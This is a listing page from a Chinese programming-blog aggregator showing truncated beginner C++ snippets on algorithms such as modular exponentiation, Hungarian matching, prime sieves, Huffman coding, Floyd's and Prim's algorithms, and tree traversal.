//大数幂取模
#include "iostream"
using namespace std;
//(a^b) % m
int mod(int a,int b,int m){
int result = 1;
for(int i=0;i<b;i++) {
result = (result*a) %m;
}
return result;
}
in...
分类:
其他好文 时间:
2015-01-22 01:50:13
阅读次数:
189
1 #include "iostream" 2 #include "vector" 3 #include "memory.h" 4 #include "cstdio" 5 using namespace std; 6 #define swap(a,b,t) ( (t) = (x),(x) = (y....
分类:
编程语言 时间:
2015-01-22 00:06:45
阅读次数:
174
强烈推荐的匈牙利算法介绍:http://www.renfei.org/blog/bipartite-matching.html 1 #include "iostream" 2 #include "vector" 3 #include "memory.h" 4 using namespace std;...
分类:
其他好文 时间:
2015-01-21 19:34:51
阅读次数:
253
#include
#include
#include
#include
#include
#include
#include
using namespace std;
const int KeyBoardValue = 0x80000000;
string GetKeyName(int);
bool JudgeShift();
int main()
{
string FileName ...
#include "iostream"
#include "cmath"
#include "memory.h"
using namespace std;
const int Max = 10000;
bool numbers[Max];
void searchprime(){
memset(numbers, true, sizeof(numbers));
for (int i = 2; ...
分类:
其他好文 时间:
2015-01-21 10:21:09
阅读次数:
135
//sZipDemo.cpp:定义控制台应用程序的入口点。
//
#include"stdafx.h"
#include"HuffmanTree.cpp"
#include"sZip.h"
#include<fstream>
#include<iostream>
usingnamespacestd;
int_tmain(intargc,_TCHAR*argv[])
{
charstr1[10000];
ifstreamin;
in.open("..
分类:
其他好文 时间:
2015-01-21 06:39:12
阅读次数:
339
#include<iostream>usingnamespacestd;classData{public: inta; intb; intc;public: Data():a(0),b(0),c(0){} voidprintf(){cout<<"a="<<a<<",b="<<b<<",c="<<c<<endl;}};intmain(){ Datax; Data*y=&x; intData::*pDataIn..
分类:
其他好文 时间:
2015-01-15 11:07:34
阅读次数:
149
#include "iostream"
#include "memory.h"
#include "cstdio"
using namespace std;
int road[201][201];
int n, m;
/*
利用弗洛伊德算法来解这道题,如果两个城市可以连通,
则其距离为0
*/
inline void floyd(){
for (int i = 0; i < n; i++){
...
分类:
其他好文 时间:
2015-01-13 23:24:40
阅读次数:
396
#include "iostream"
#include "cstdio"
using namespace std;
struct Node{
int val;
Node *left, *right;
Node(int v = 0){
val = v;
left = NULL;
right = NULL;
}
};
inline void preOrder(Node *he...
分类:
其他好文 时间:
2015-01-13 21:44:22
阅读次数:
184
#include "iostream"
#include "memory.h"
#include "cstdio"
using namespace std;
int grap[500][500];
int ans;
int dis[500];
bool visited[500];
void prime(int n){
int source = 1;
for (int i = 1; i <=...
分类:
其他好文 时间:
2015-01-13 21:39:05
阅读次数:
153